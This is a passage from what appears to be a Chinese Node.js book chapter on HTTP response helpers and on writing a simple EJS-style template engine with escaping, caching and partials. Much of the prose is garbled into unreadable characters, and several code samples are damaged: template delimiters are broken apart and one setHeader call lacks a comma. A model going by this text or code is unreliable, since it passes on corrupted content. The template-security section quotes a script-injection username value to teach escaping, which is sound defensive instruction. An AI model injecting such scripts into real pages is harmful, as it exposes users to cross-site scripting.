౎ឬ，它并没有这样的内Ꮅҩ能，在本ᓫ的̭ፀ中，你会ᄹ到ൣ是因为ಕэҩ能的Ꭴܾ，我们可

以ఝ᠚ᤂऄࡎ，发ࡘѢఝ多ఝ好的ມ౿技术，社区的创ᤴҦ使३Node在HTTPֽ应上յဗѢఝ加

˗ࠜ多ॐ的࿃খ。 

8.5.1�  ᆍડᑨݙ

在ኃ7ብ我们̭ፀ了httpഴ࠯ڰᜈ了对请යઐ஠ֽ֖应ઐ஠的ୱ作，在这᧖我们Ѷࡘ开ឬ௙

应用ࡎឞݟʹ使用ֽ应的࠯ᜈ。服务٧端ֽ应的ઐ஠，最ጻ都要ᜁጻ端ူܪ。这个ጻ端可能是֐

̽ᛠጻ端，也可能是̼ᆉጻ端，也可能是เ᜾٧。服务٧端的ֽ应从一定程ऎ上决定੊ૈᇧ了客

ਖ਼端ឞֽူܪʹݟ应的内ࠓ。 
内ֽࠓ应的过程中，ֽ应ઐܿ中的Content-*ߙൿӠ分᧗要。在下᭦的ᇧΒֽ应ઐ஠中，服

务端նᅻ客ਖ਼端内ࠓ是以gzip编ᆉ的，Ф内ࠓ᫁ऎ为21 170个ߙᓫ，内ࠓዜۋ为JavaScript，ߙቿ

ᬶ为UTF-8Ὑ 

Content-Encoding: gzip 

Content-Length: 21170 

Content-Type: text/javascript; charset=utf-8 

客ਖ਼端在接收到这个ઐ஠后，ൣᆷ的ူܪ过程是᤯过gzip౎解ᆉઐ஠ͳ中的内ࠓ，用᫁ऎಢ

ᰍઐ஠ͳ内ࠓ是否ൣᆷ，ཨ后в以ߙቿᬶUTF-8࠱解ᆉ后的脚本ଢ入到஠ುᓫཁ中。 
1. MIME 
可以Ў࿮想一下下᭦。࠵了解MIMEॸ不可，ࠓ应内ֽူܪ౦想要客ਖ਼端用ൣᆷ的ழय౎ݟ

ˏൿ̼ᆉ在客ਖ਼端会有̣˥样的ࢿऩὙ 

res.writeHead(200, {'Content-Type': 'text/plain'}); 

res.end('<html><body>Hello World</body></html>\n'); 

// ई者 
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res.writeHead(200, {'Content-Type': 'text/html'}); 

res.end('<html><body>Hello World</body></html>\n'); 

在网页中，前者௬ᇧ的是<html><body>Hello World</body></html>，Ꮺ后者只能ᄹ到Hello 

World，ݟ图8-5੝ᇧ。 

 

图8-5 Content-TypeߙൿϘ不Վ使网页௬ᇧ的内ࠓ不Վ 

没ᩱ，ल起上ᤗࢿऩ的ԓ因就在于它们的Content-Typeߙൿ的Ϙ是不Վ的。เ᜾٧对内ࠓ᧓

用了不Վ的ူܪழय，前者为ጥ஠本，后者为HTML，并ມ౿了DOM树。เ᜾٧ൣ是᤯过不Վ的

Content-Type的Ϙ౎决定᧓用不Վ的ມ౿ழय，这个Ϙ我们ኤሥ为MIMEϘ。 
MIME的Кሥ是Multipurpose Internet Mail Extensions，从Տߙ可以ᄹѢ，它最௉用于ႂߔᥪ

͇，后౎也应用到เ᜾٧中。不Վ的஠͇ዜۋХ有不Վ的MIMEϘ，ݟJSON஠͇的Ϙ为

application/json、XML஠͇的Ϙ为application/xml、PDF஠͇的Ϙ为application/pdf。 
为了ழΦᖌᅻ஠͇的MIMEϘ，社区有˃有的mimeഴڰ可以用ѻൿ஠͇ዜۋ。它的ុ用Ӡ分

ኤӬ，ݟ下੝ᇧὙ 

var mime = require('mime'); 

 

mime.lookup('/path/to/file.txt');         // => 'text/plain' 

mime.lookup('file.txt');                  // => 'text/plain' 

mime.lookup('.TXT');                      // => 'text/plain' 

mime.lookup('htm');                       // => 'text/html' 

ᬓ了MIMEϘ外，Content-Type的Ϙ中还可以包դ一些ԟ数，ߙݟቿᬶ。ᇧΒݟ下Ὑ 

Content-Type: text/javascript; charset=utf-8 

2. 䰘ӊϟ䕑 
在一些场景下，௃᝶ֽ应的内ࠓ是̣˥样的MIMEϘ，ᭉය中并不要ය客ਖ਼端Ԝ੩开它，只

ᭉीѢ并下ᣑ它Ԁ可。为了໗ᡛ这ሗᭉය，Content-Dispositionߙൿ应ܥᄅ场。Content- 

Dispositionߙൿॕֽ的ᛠ为是客ਖ਼端会಩૵它的Ϙѻற是应ឞ࠱ઐ஠数૵ॆ做Ԁ时เ᜾的内

为ᬃ͇时，它ߚ只ᭉԀ时ಉᄹ时，它的Ϙ为inline，ॆ数૵可以ࠓ还是可下ᣑ的ᬃ͇。ॆ内，ࠓ

的Ϙ为attachment。Բ外，Content-Dispositionߙൿ还能᤯过ԟ数ૈ定γߚ时应ឞ使用的஠͇Տ。

ᇧΒݟ下Ὑ 

Content-Disposition: attachment; filename="filename.ext" 

 下这样的Ὑݟ౦我们要᝹᝟一个ֽ应ᬃ͇下ᣑ的API（res.sendfile），我们的ழก大ᒰ是ݟ

res.sendfile = function (filepath) { 

  fs.stat(filepath, function(err, stat) { 

    var stream = fs.createReadStream(filepath); 
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    // 设置内容 

    res.setHeader('Content-Type', mime.lookup(filepath)); 

    // 设置长܈ 

    res.setHeader('Content-Length', stat.size); 

    // 设置为附件 

    res.setHeader('Content-Disposition' 'attachment; filename="' + path.basename(filepath) + '"'); 

    res.writeHead(200); 

    stream.pipe(res); 

  }); 

}; 

3. ડᑨJSON 
为了ঋ૸ֽڠ应JSON数૵，我们也可以ݟ下这样ᤈᛠ࠯ᜈὙ 

res.json = function (json) { 

  res.setHeader('Content-Type', 'application/json'); 

  res.writeHead(200); 

  res.end(JSON.stringify(json)); 

}; 

4. ડᑨ䏇䕀 
ॆ我们的URL因为౼些问题（᝝ాݟᬌᬌ҃）不能ॆူܪ前请ය，ᭉ要࠱用ਖ਼᡹ᣀ到Ѿ的

URL时，我们也可以࠯ᜈѢ一个ঋ૸的ழก实ဗ᡹ᣀ，ݟ下੝ᇧὙ 

res.redirect = function (url) { 

  res.setHeader('Location', url); 

  res.writeHead(302); 

  res.end('Redirect to ' + url); 

}; 

8.5.2� 㾚೒␆ᶧ 

Web应用的内ֽࠓ应्यӠ分˗ࠜ，可以是᭡খ஠͇内ࠓ，也可以是Ф他ᬃ͇஠͇，也可以

是᡹ᣀኍ。这᧖我们ٿ到˞ึ的௾᤯的HTML内ࠓ的ֽ应上，঳ሥ᜼图ມ౿。Web应用最ጻյဗ

在ႌ᭦上的内ࠓ，都是᤯过一系Ѵ的᜼图ມ౿յဗѢ౎的。在动খ页᭦技术中，最ጻ的᜼图是由

ഴ౛֖数૵РՎ生੆Ѣ౎的。 
ഴ౛是ࣛ有ྱ൳ಕኣ的HTMLྞൿ，᤯过与数૵的ມ౿，࠱数૵܌Ќ到这些ྱ൳ಕኣ中，最

后生੆௾᤯的ࣛ数૵的HTMLྞൿ。᤯࣡我们࠱ມ౿ழก᝹᝟为render()，ԟ数就是ഴ౛ᡸफ़֖

数૵，ݟ下੝ᇧὙ 

res.render = function (view, data) { 

  res.setHeader('Content-Type', 'text/html'); 

  res.writeHead(200); 

  // 实ा渲染 

  var html = render(view, data); 

  res.end(html); 

}; 

在Node中，数૵自ཨ是以JSON为ᯪᤤ，ͭ是ഴ౛ԁ有ܹ多ᤤસ可以使用了。上᭦̼ᆉ中的
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render()我们可以࠱Фᄹ੆是一个ጝ定接ԯ，接ԩ相Վԟ数，最后ᤄٿHTMLྞൿ。这样的ழก

我们都᜼作实ဗ了这个接ԯ。 

8.5.3� ῵ᵓ 
最௉的服务٧端动খ页᭦开发，是在CGI程序੊servlet中ᣤѢHTMLྞൿ，᤯过网ፎึᣤѢ

到客ਖ਼端，客ਖ਼端࠱Фມ౿到用ਖ਼ႌ᭦上。这ሗ᤾ᣣ̼ᆉ与HTMLᣤѢ的̼ᆉຈ杂在一起的开发

ழय，࠭ᒰ一个小小的UIஇ动都要大动࣯ਿ，甚至ᭉ要᧗新编ដ。为了இᓡ这ሗ情х，使HTML
与᤾ᣣ̼ᆉ分ሎ开౎，ϳ生Ѣ一些服务٧端动খ网页技术，ݟASP、PHP、JSP。它们࠱动খ语言

部分᤯过ྱ൳的ಕኣ（ASP֖JSP以<  >% % 作为ಕং，PHPѶ以<? ?>作为ಕং）包դ起౎，᤯过HTML
֖ഴ౛ಕኣຈଅ，࠱开发者从ᣤѢHTML的工作中解ᑱѢ౎。这样的ழกᙉཨ一定程ऎ上ђᣏ了

开发፤એ的ᬱऎ，ͭ是页᭦᧖还是Ќ஭着大量的᤾ᣣ̼ᆉ。这ϳ生了MVC在动খ网页技术中的

发ࡘ，MVC࠱᤾ᣣ、௬ᇧ、数૵分ሎ开౎的ழय，大大ଡ高了ᮉ目的可፤એ性。Ф中ഴ౛技术

就在这样的发ࡘ中ᤩຑ੆熟起౎的。 
ASP、PHP、JSP，它们Фݟ管ഴ౛技术ᄹ起౎在MVC时య才广ค使用，ͭ不可否认的是ࡉ

实就是最௉的ഴ౛技术。ഴ౛技术ᙉཨ多ሗ多样，ͭ 它的实质就是࠱ഴ౛஠͇֖数૵᤯过ഴ౛ल

୲生੆最ጻ的HTML̼ᆉ。्੆ഴ౛技术的也就ݟ下4个要ገ。 
� ഴ౛语言。 
� 包դഴ౛语言的ഴ౛஠͇。 
� ઴有动খ数૵的数૵对៵。 
� ഴ౛ल୲。 
对于ASP、PHP、JSPᏪ言，ഴ౛࡚于服务٧端动খ页᭦的内Ꮅҩ能，ഴ౛语言就是它们的ࠖ

˞语言（VBScript、JScript、PHP、Java），ഴ౛஠͇就是以.php、.asp、.jsp为后፯的஠͇，ഴ౛

ल୲就是Web٧ࠓ。 
这个时య的ഴ౛极ऎΙᠺ上下஠，甚至要ူܪஞ个HTTP的请ය对៵。ᬣ后ഴ౛语言的发ࡘ

使३ഴ౛可以ᑱሎ上下஠环境，只有数૵对៵就可以੯ᛠ。ݟPHP中的PHPLIB Template֖

FastTemplate、Java的XSTL，以ԢVelocity、JDynamiTe、Tapestryኍഴ౛。 
这ዜഴ౛的Ꭴཁ在于它的实ဗ与ࠖ˞语言有很大的关ᐎ性，由于Չሗ语言᧓用的ഴ౛语言不

Վ，包դՉሗྱ൳ಕ᝭，࠭ ᒰሧೱ性ᣖࢿ。௉య的͌ˉ一ெᤤ定编程语言就不会ᣏ௛ڠᣀ૰环境，

੝以ᣖ࠵有开发者Ԝ开发新的ഴ౛语言֖ഴ౛ल୲౎᤟应不Վ的编程语言。ݟ今ऩౝ系统ᡔ౎ᡔ

多，ഴ౛能ܴ应用到多门编程语言中的这ሗᭉය也开始յဗѢ౎。 
ᆠࡌ者是Mustache，它ࠇሥ自己是ि᤾ᣣ的ഴ౛（logic-less templates），定˦了以{{}}为ಕ

ং的一ݒഴ౛语言，并ፋѢ了Ӡ多门编程语言的ഴ౛ल୲实ဗ，使३᧓用它作为ഴ౛Хܫ很好的

可ሧೱ性。ͭᬣ着Node在社区的发ࡘ，ধᡸ很ঋᜁ੩开，ഴ౛语言可以ᬣ਒创ᤴ，ഴ౛ल୲也可

以ᬣ਒实ဗ。Node社区目前与ഴ౛ल୲相关ഴڰ的Ѵᛪࢿ不多要໓3个࣪ࡕ才能ᄹ߸。并且由于

Node与前端都᧓用相Վ的੯ᛠ语言JavaScript，੝以一ݒഴ౛语言也௃ᮋ为它编写ˏݒ不Վ的ഴ

౛ल୲就能ᣏౚڠᡴ前后端Р用。 
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ഴ౛֖数૵与最ጻፆ౦相ඊ，这᧖有一个᭡খ、动খ的Ѳ分过程，相Վ的ഴ౛֖不Վ的数૵

可以३到不Վ的ፆ౦，不Վ的ഴ౛与相Վ的数૵也能३到不Վ的ፆ౦。ഴ౛技术使३网页中的动

খ内֖ࠓ᭡খ内ࠓԪ३不̈相Ιᠺ，数૵开发者与ഴ౛开发者只要ጝ定好数૵ፆౝ，ˏ 者就不用

̈相ॕֽ了，ݟ图8-6੝ᇧ。 

 

图8-6 ഴ౛技术 

ͭഴ౛技术并不是̣˥ᇷማ的技术，它࣯的实ᬄ上是ૂ接ߙቿ˘这样很ऄࡎ的活，只是Չሗ

ഴ౛有着Չ自的优Ꭴཁ֖技ࢻ。ឬഴ౛是ૂ接ߙቿ˘并不为过，我们要的就是ഴ౛加数૵，᤯过

ഴ౛ल୲的੯ᛠ就能३到最ጻ的HTMLߙቿ˘这样ፆ౦。 
ϛ᝹我们的ഴ౛是ݟ下这样的，< = >% % 就是我们҃定的ഴ౛ಕኣ（ᤤસ这个ಕኣ˞要因为ASP

֖JSP都᧓用它做ಕኣ，相对熟悉）Ὑ 

Hello < = username >% %  

。౦我们的数૵是{username: "JacksonTian"}，ᥦ˥我们యభ的ፆ౦就是Hello JacksonTianݟ

Хͳ实ဗ的过程是ഴ౛分为Hello֖<%= username >% ˏ个部分，前者为௾᤯ߙቿ˘，后者是ᛪ᣹य。

ᛪ᣹यᭉ要继续ူܪ，与数૵关ᐎ后੆为一个Ԫ量Ϙ，最ጻߙ࠱ቿ˘与Ԫ量Ϙᤋ੆最ጻ的ߙቿ˘。

图8-7໥ᇧ了ഴ౛与数૵的ມ౿过程图。 

 

图8-7 ഴ౛与数૵的ມ౿过程图 

1. ῵ᵓᓩ᪢ 
为了໥ᇧഴ౛ल୲的技术，我们࠱᤯过render()ழก实ဗ一个ኤӬ的ഴ౛ल୲。这个ഴ౛ल
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୲会࠱Hello < = username >% % ᣀ૰为"Hello " + obj.username。ឞ过程ᤈᛠ以下几个൥ᰠ。 
� 语ก分解。ଡԨѢ௾᤯ߙቿ˘֖ᛪ᣹य，这个过程᤯࣡用ൣѶᛪ᣹यӛᦠѢ౎，< = >% % 的

ൣѶᛪ᣹य为/< =([% \s\S]+?) >/g% 。 
 。ಕኣᛪ᣹यᣀ૰੆௾᤯的语言ᛪ᣹य࠱。ᛪ᣹यူܪ �
� 生੆य़੯ᛠ的语Ա。 
� 与数૵一起੯ᛠ，生੆最ጻߙቿ˘。 
ᅻ௳了ึ程，ഴ౛ѥ数就可以ᣏౚਏঋڠ开工了，ݟ下੝ᇧὙ 

var render = function (str, data) { 

  // 模板रຍ఼ǈ৽是༺换༬๺Քധ的रຍ 

  var tpl = str.replace(/< =([% \s\S]+?) >/g, function(match, code) {%  

    return "' + obj." + code + "+ '"; 

  }); 

 

  tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 

  var complied = new Function('obj', tpl); 

  return complied(data); 

}; 

ុ用上᭦的ഴ౛ѥ数试试，ݟ下੝ᇧὙ 

var tpl = 'Hello < =username >.';% %  

console.log(render(tpl, {username: 'Jackson Tian'})); 

// => Hello Jackson Tian. 

z ഴ౛ᎃដ 
上ᤗ̼ᆉ的实ဗ过程中，可以ᄹ到有部分内ࠓ前஠没有ଡԢ，它的内ݟࠓ下Ὑ 

tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 

var complied = new Function('obj', tpl); 

为了能ܴ最ጻ与数૵一起੯ᛠ生੆ߙቿ˘，我们ᭉ要࠱ԓ始的ഴ౛ߙቿ˘ᣀ૰੆一个ѥ数对

៵。ඊݟHello < =username >% % 这Աഴ౛ߙቿ˘，最ጻ会生੆ݟ下的̼ᆉὙ 

function (obj) { 

  var tpl = 'Hello ' + obj.username + '.'; 

  return tpl; 

} 

这个过程ሥ为ഴ౛编ដ，生੆的中ᫍѥ数只与ഴ౛ߙቿ˘相关，与Хͳ的数૵௃关。ݟ౦ඇ

次都生੆这个中ᫍѥ数，就会ํ᠟CPU。为了ଡӣഴ౛ມ౿的性能ᤳऎ，我们᤯࣡会᧓用ഴ౛ᮔ

编ដ的ழय。是஋，上᭦的̼ᆉ可以ઞ解为ˏ个ழก，ݟ下੝ᇧὙ 

var complie = function (str) { 

  var tpl = str.replace(/< =([% \s\S]+?) >/g, functi% on(match, code) { 

    return "' + obj." + code + "+ '"; 

  }); 

 

  tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 

  return new Function('obj, escape', tpl); 

}; 
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var render = function (complied, data) { 

  return complied(data); 

}; 

᤯过ᮔ编ដᎀߚഴ౛编ដ后的ፆ౦，实ᬄ应用中就可以实ဗ一次编ដ，多次੯ᛠ，Ꮺԓ始的

ழयඇ次੯ᛠ过程中都要ᤈᛠ一次编ដ֖੯ᛠ。 
2. withⱘᑨ⫼ 
上᭦实ဗ的ഴ౛ल୲᭣࣡ि，只能ఢ૰Ԫ量，< ="Jackson Tian" >% % 就௃กஂ૆了。为了ᝧ它

ఝ灵活，我们ᭉ要இᤈ它的实ဗ，使ߙቿ˘能继续ᛪ᣹为ߙቿ˘，Ԫ量能ܴ自动ࠬ੼࡚于它的对

៵。于是with关᪃ߙल入到我们的实ဗ中。with关᪃ߙ是JavaScript中ᯏԩDouglas Crockfordૈ᠉

的᝹᝟，ጹᓫ在本书ᬃेC中有សጹଠᤗ。ͭ在这᧖，with关᪃ߙ可以३到很ழΦ的应用。 

var complie = function (str, data) { 

  // 模板रຍ఼ǈ৽是༺换༬๺Քധ的रຍ 

  var tpl = str.replace(/< =([% \s\S]+?) >/g, function (match, code) {%  

    return "' + " + code + "+ '"; 

  }); 

 

  tpl = "tpl = '" + tpl + "'"; 

  tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;'; 

  return new Function('obj', tpl); 

}; 

௾᤯ߙቿ˘就ᄯ接ᣤѢ，Ԫ量code的ϘѶ是obj[code]。关于new Function()，这᧖᤯过它创

त了一个ѥ数对៵，它的语กݟ下Ὑ 

new Function ([arg1[, arg2[, ... argN]],] functionBody) 

Function()ౝᤴѥ数接ԩ多个ԟ数，最后一个ԟ数作为ѥ数ͳ的内ࠓ，Ф余ԟ数都会用౎作

为新生੆的ѥ数的ԟ数Ѵᛪ。 
z ഴ౛߶К 
前 ஠ ଡ 到 过 XSS ໣ ว ， 它 的 产 生 大 多 ᡱ ഴ ౛ 相 关 ， ݟ ౦ 上 ஠ 中 的 username的 Ϙ 为

<script>alert("I am XSS.")</script>，ᥦ˥ഴ౛ມ౿ᣤѢ的ߙቿ˘࠱会是Ὑ 

Hello <script>alert("I am XSS.")</script>. 

这会在页᭦上੯ᛠ这个脚本，ݟ౦ৌ好这᧖的username是在URL的ಉលߙቿ上ᣤ入的，这就

ౝ੆了XSS໣ว。为了ଡ高߶К性，大多数ഴ౛都ଡΘ了ᣀ˦的ҩ能。ᣀ˦就是࠱能्੆HTML
ಕኣ的ߙቿᣀ૰੆߶К的ߙቿ，这些ߙቿ˞要有&、<、>、"、'。ᣀ˦ѥ数ݟ下Ὑ 

var escape = function (html) { 

  return String(html) 

    .replace(/&(?!\w+;)/g, '&amp;') 

    .replace(/</g, '&lt;') 

    .replace(/>/g, '&gt;') 

    .replace(/"/g, '&quot;') 

    .replace(/'/g, '&#039;'); // IEူ不支持&apos;Ǆ单引ࡽǅ转义 

}; 

不ᆷ定要ᣤѢHTMLಕኣ的ߙቿ最好都ᣀ˦，为了ᝧᣀ˦֖᭣ᣀ˦ᛪဗ३ఝழΦ，< = >% % ֖
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<%- >% 分Ѿᛪᇧ为ᣀ˦֖᭣ᣀ˦的情х，ݟ下੝ᇧὙ 

var render = function (str, data) { 
  var tpl = str.replace(/\n/g, '\\n') // 将换行符༺换 
  .replace(/< =([% \s\S]+?) >/g, function (match, code) {%  
    // 转义 
    return "' + escape(" + code + ") + '"; 
  }).replace(/<%-([\s\S]+?) >/g, function (match,%  code) { 
    // 正常输出 
    return "' + " + code + "+ '"; 
  }); 
  tpl = "tpl = '" + tpl + "'"; 
  tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;'; 
  // 加上escape()函数 
  return new Function('obj', 'escape', tpl); 
}; 

ഴ౛ल୲᤯过ൣѶ分Ѿӛᦠ-֖=并区Ѿ对य़，最后不要ঃ᝭͛入escape()ѥ数。最ጻ上᭦的

ӿᬖ̼ᆉ会ᣀ૰为߶К的ᣤѢ，ݟ下੝ᇧὙ 

Hello &lt;script&gt;alert(&quot;I am XSS.&quot;)&lt;/script&gt;. 

因൤，在ഴ౛技术的使用中，时҈不要ঃ᝭ᣀ˦，࠾Ф是与ᣤ入有关的Ԫ量一定要ᣀ˦。 
3. 模ᶵ䙱䗇 
ͭ，务᤾ᣣ与᜼图部分分ሎ开౎ˉ࠱管ഴ౛技术已经ࡉ 是᜼图上还是会ߚ在一些᤾ᣣ౎ଌ҃

页᭦的最ጻມ౿。为了ᝧ上ᤗഴ౛Ԫ३强大一ཁ，我们为它ຊ加᤾ᣣ̼ᆉ，使३ഴ౛可以像ASP、

PHPᥦ样ଌ҃页᭦ມ౿。᝝ݟ下᭦的̼ᆉ，ፆ౦HTML与ᣤ入数૵相关Ὑ 

<  if (user) { >% %  
  <h2>< = user.name ></h2>% %  
<  } else { >% %  
  <h2>ై名用户</h2> 
<  } >% %  

它要编ដ੆的ѥ数应ឞ是ݟ下这样的Ὑ 

function (obj, escape) { 
  var tpl = ""; 
  with (obj) { 
    if (user) { 
      tpl += "<h2>" + escape(user.name) + "</h2>"; 
    } else { 
      tpl += "<h2>ై名用户</h2>"; 
    } 
  } 
  return tpl; 
} 

ഴ౛ल୲ૂ接ߙቿ˘的ԓူ还是᤯过ൣѶᛪ᣹यᤈᛠӛᦠఢ૰，ݟ下੝ᇧὙ 

var complie = function (str) { 
  var tpl = str.replace(/\n/g, '\\n') // 将换行符༺换 
  .replace(/< =([% \s\S]+?) >/g, function (match, code) {%  
    // 转义 
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    return "' + escape(" + code + ") + '"; 

  }).replace(/< =([% \s\S]+?) >/g, function (match, code) {%  

    // 正常输出 

    return "' + " + code + "+ '"; 

  }).replace(/< ([% \s\S]+?) >/g, function (match, code) {%  

    // ੗执行代码 

    return "';\n" + code + "\ntpl += '"; 

  }).replace(/\'\n/g, '\'') 

  .replace(/\n\'/gm, '\''); 

 

  tpl = "tpl = '" + tpl + "';"; 

  // 转换空行 

  tpl = tpl.replace(/''/g, '\'\\n\''); 

  tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;'; 

  return new Function('obj', 'escape', tpl); 

}; 

߸੆上᭦的实ဗ后，试试੆౦，ݟ下੝ᇧὙ 

var tpl = [ 

  '<  if (user) { >',% %  

    '<h2>< =user.name ></h2>',% %  

  '<  } else { >',% %  

    '<h2>ై名用户</h2>', 

  '<  } >'].join('% % \n'); 

 

render(complie(tpl), {user: {name: 'Jackson Tian'}}); 

३到的ᣤѢ内ݟࠓ下੝ᇧὙ 

<h2>Jackson Tian</h2> 

接下౎在不͛ᤫuser时试试，ݟ下੝ᇧὙ 

render(complie(tpl), {}); 

ፆ౦是᥋ਲ਼ڠ३到ऩ࣡信ো，ݟ下੝ᇧὙ 

undefined:5 

 if (user) {  

     ^ 

ReferenceError: user is not defined 

为了程序的ϣܤ性，ᭉ要࠱ഴ౛写३ϣܤ一ཁ，对于不ᆷ定是否ߚ在的࡚性，应ឞ为它加上

ल用，ݟ下੝ᇧὙ 

var tpl = [ 

  '<  if (obj.user) { >',% %  

    '<h2>< =user.name ></h2>',% %  

  '<  } else { >',% %  

    '<h2>ై名用户</h2>', 

  '<  } >'].join('% % \n'); 

EJS中，它的Ԫ量不是obj，Ꮺ是locals，这᧖的Ϙ与ഴ౛ल୲中的with语Ա有关。᧗新੯ᛠ

上᭦的ᇧΒ，३到的ፆ౦为Ὑ 
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<h2>ై名用户</h2> 

൤外，实ဗ了੯ᛠᛪ᣹य的ഴ౛ल୲还能ᤈᛠ९环，ݟ下੝ᇧὙ 

var tpl = [ 

  '<  for (var i = 0; i < items.length; i++) { >',% %  

    '< var item = items[i]; >',% %  

    '<p>< = i+1 >% % Ă< =item.nam% e ></p>',%  

  '<  } >'% %  

].join('\n'); 

render(complie(tpl), {items: [{name: 'Jackson'}, {name: 'ೳଳ'}]}); 

३到的ᣤѢݟ下੝ᇧὙ 

<p>1ĂJackson</p> 

<p>2Ăೳଳ</p> 

 。ᣤѢ֖᤾ᣣ了，᜼图的ມ౿᤾ᣣ不੆问题ူܪ൤，我们实ဗ的ഴ౛ल୲已经能ܴݟ
4. 䲚៤᭛ӊ㋏㒳 
前஠我们实ဗ的complie()֖render()ѥ数已经能ܴ实ဗ࠱ᣤ入的ഴ౛ߙቿ˘ᤈᛠ编ដ֖ఢ

૰的ҩ能。ݟ౦与前஠的HTTPֽ应对៵组Ջ起౎ူܪ的ព，我们ֽ应一个客ਖ਼端的请ය大ᒰ 
 下Ὑݟ

app.get('/path', function (req, res) { 

  fs.readFile('file/path', 'utf8', function (err, text) { 

    if (err) { 

      res.writeHead(500, {'Content-Type': 'text/html'}); 

      res.end('模板文件错误'); 

      return; 

    } 

    res.writeHead(200, {'Content-Type': 'text/html'}); 

    var html = render(complie(text), data); 

    res.end(html); 

  }); 

}); 

这样的ֽ应ͳᰍ并不友好，ФᎤཁ有ݟ下几ཁ。 
� ඇ次请යᭉ要反复读ᇒᄧ上的ഴ౛஠͇。 
� ඇ次请යᭉ要编ដ。 
� ុ用ཐဴ。 
()的ព，应ឞᅻ᥊大多数的MVCಳ౵在做ມ౿时都只有一个ኤӬ的renderࢿ౦你᝭性不ݟ

ழก，੝以我们也ᭉ要一个ఝኤผ、性能ఝ好的render()ѥ数，ݟ下੝ᇧὙ 

var cache = {}; 

var VIEW_FOLDER = '/path/to/wwwroot/views'; 

 

res.render = function (viewname, data) { 

  if (!cache[viewname]) { 

    var text; 

    try { 

      text = fs.readFileSync(path.join(VIEW_FOLDER, viewname), 'utf8'); 

    } catch (e) { 
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      res.writeHead(500, {'Content-Type': 'text/html'}); 

      res.end('模板文件错误'); 

      return; 

    } 

    cache[viewname] = complie(text); 

  } 

  var complied = cache[viewname]; 

  res.writeHead(200, {'Content-Type': 'text/html'}); 

  var html = complied(data); 

  res.end(html); 

}; 

这个res.render()实ဗ中，ᙉཨ有Վ൥读Ԩ஠͇的情х，ͭ是由于᧓用了ᎀߚ，只会在ኃ一

次读Ԩ的时候ᤴ੆ஞ个ᤈ程的᫽܊，一ெᎀߚ生஌，࠱不会反复读Ԩഴ౛஠͇。Ф次，ᎀߚ之前

已经ᤈᛠ了编ដ，也不会ඇ次读Ԩ都编ដ。 
 下੝ᇧὙݟ，ᜈ߸ມ౿ѥ数之后，我们的ុ用就很ᣏౚ了࠯

app.get('/path', function (req, res) { 

  res.render('viewname', {}); 

}); 

与஠͇系统ᬶ੆之后，вल入ᎀߚ，可以很好ڠ解决性能问题，接ԯ也大大३到ኤӐ。由于

ഴ౛஠͇内ࠓ都不ܹ大，也不࡚于动খஇ动的，੝以使用ᤈ程的内ߚ౎ᎀߚ编ដፆ౦，并不会ल

起ܹ大的ٿڥۇ收问题。 
5. ᄤ῵ᵓ 
有时候ഴ౛஠͇ܹ大，ܹ过复杂，会ܘ加፤એ上的ᬱऎ，Ꮺ且有些ഴ౛是可以᧗用的，这ϳ

生了ߔഴ౛（Partial View）的产生。ߔഴ౛可以ݒࢥ在Ѿ的ഴ౛中，多个ഴ౛可以ࢥ入Վ一个ߔ

ഴ౛中。፤એ多个ߔഴ౛ඊ፤એ߸ஞᏪ复杂的大ഴ౛的੆本要ͯ很多，很多复杂问题可以ᬋ解为

多个小ᏪኤӬ的问题。 
这᧖我们᧓用include关᪃ߙ౎实ဗഴ౛的ݒࢥ。ϛ᝹ආഴ౛ݟ下Ὑ 

<ul> 

  <  users.forE% ach(function(user){ >%  

    <  include user/show >% %  

  <  }) >% %  

</ul> 

 下Ὑݟࠓഴ౛user/show内ߔ

<li>< =user.name ></li>% %  

ມ౿Ѣ౎的஌౦应ॆᡱ以下̼ᆉມ౿Ѣ౎的஌౦Ѿ௃̃ᒰὙ 

<ul> 

  <  users.forEach(function(user){ >% %  

    <li>< =user.name ></li>% %  

  <  }) >% %  

</ul> 

੝以实ဗߔഴ౛的᝻቎就是Ў࠱include语Աᤈᛠఢ૰，вᤈᛠஞͳ性编ដ，ݟ下੝ᇧὙ 
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var files = {}; 

 

var preComplie = function (str) { 

  var replaced = str.replace(/<%\s+(include.*)\s+ >/g, function (match, code) {%  

    var partial = code.split(/\s/)[1]; 

    if (!files[partial]) { 

      files[partial] = fs.readFileSync(fs.join(VIEW_FOLDER, partial), 'utf8'); 

    } 

    return files[partial]; 

  }); 

 

  // 多֫ഴ套ǈी续༺换 

  if (str.match(/<%\s+(include.*)\s+ >/)) {%  

    return preComplie(replaced); 

  } else { 

    return replaced; 

  } 

}; 

ཨ后我们இᤈ一下complie()ѥ数，在ൣय编ដ前ᤈᛠߔഴ౛ఢ૰，ݟ下੝ᇧὙ 
var complie = function (str) { 

  // ᇨ解析子模板 

  str = preComplie(str); 

  var tpl = str.replace(/\n/g, '\\n') // 将换行符༺换 

  .replace(/< =([% \s\S]+?) >/g, function (match, code) {%  

    // 转义 

    return "' + escape(" + code + ") + '"; 

  }).replace(/< =([% \s\S]+?) >/g, function (m% atch, code) { 

    // 正常输出 

    return "' + " + code + "+ '"; 

  }).replace(/< ([% \s\S]+?) >/g, function (match, code) {%  

    // ੗执行代码 

    return "';\n" + code + "\ntpl += '"; 

  }).replace(/\'\n/g, '\'') 

  .replace(/\n\'/gm, '\''); 

 

  tpl = "tpl = '" + tpl + "';"; 

  // 转换空行 

  tpl = tpl.replace(/''/g, '\'\\n\''); 

  tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;'; 

  return new Function('obj', 'escape', tpl); 

}; 

6. Ꮧሔ㾚೒ 
᜼图ࡌ࣊ഴ౛的Բ一ሗ使用ழय就是ߔ。ഴ౛˞要是为了᧗用ഴ౛֖ᬋͯഴ౛的复杂ऎߔ

（layout），ࡌ࣊᜼图Ԡሥආྟ页，它与ߔഴ౛的ԓူ相Վ，ͭ是场景ሮ有区Ѿ。一ᓉᏪ言ഴ౛ૈ

定了ߔഴ౛，ᥦ它的ߔഴ౛就௃กᤈᛠఢ૰了，ߔഴ౛ᜁࢥ入到多个ྗഴ౛中࡚于ൣ࣡ᭉය，ͭ

